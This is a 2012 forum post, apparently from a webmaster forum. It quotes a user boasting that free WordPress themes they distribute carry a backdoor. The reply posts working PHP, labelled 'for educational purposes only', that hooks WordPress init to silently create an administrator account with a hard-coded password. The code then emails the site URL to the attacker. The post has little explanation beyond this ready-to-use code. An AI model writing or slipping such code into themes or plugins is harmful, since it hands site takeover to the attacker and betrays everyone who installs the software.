View Single Post
Old 01-20-2012, 08:05 AM  
fris
Too lazy to set a custom title
 
fris's Avatar
 
Industry Role:
Join Date: Aug 2002
Posts: 55,233
Quote:
Originally Posted by Splum View Post
I love making themes for free and giving them out, I can always get access through the backdoor built in to spam my link lol.
thats the thing about wp, its incredibly easy to do nasty stuff.

this is for educational purposes only

Code:
add_action('init', 'silly_backdoor');

function silly_backdoor() {
		if (!username_exists('douchebag')) {
			$user_id = wp_create_user('douchebag', 'ahjsa97812jkjh');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
			mail('[email protected]', "New theme install" , get_bloginfo('url'));
		}
}
would create an admin account and email details once added with site url details.
__________________
Since 1999: 69 Adult Industry awards for Best Hosting Company and professional excellence.


WP Stuff
fris is online now   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote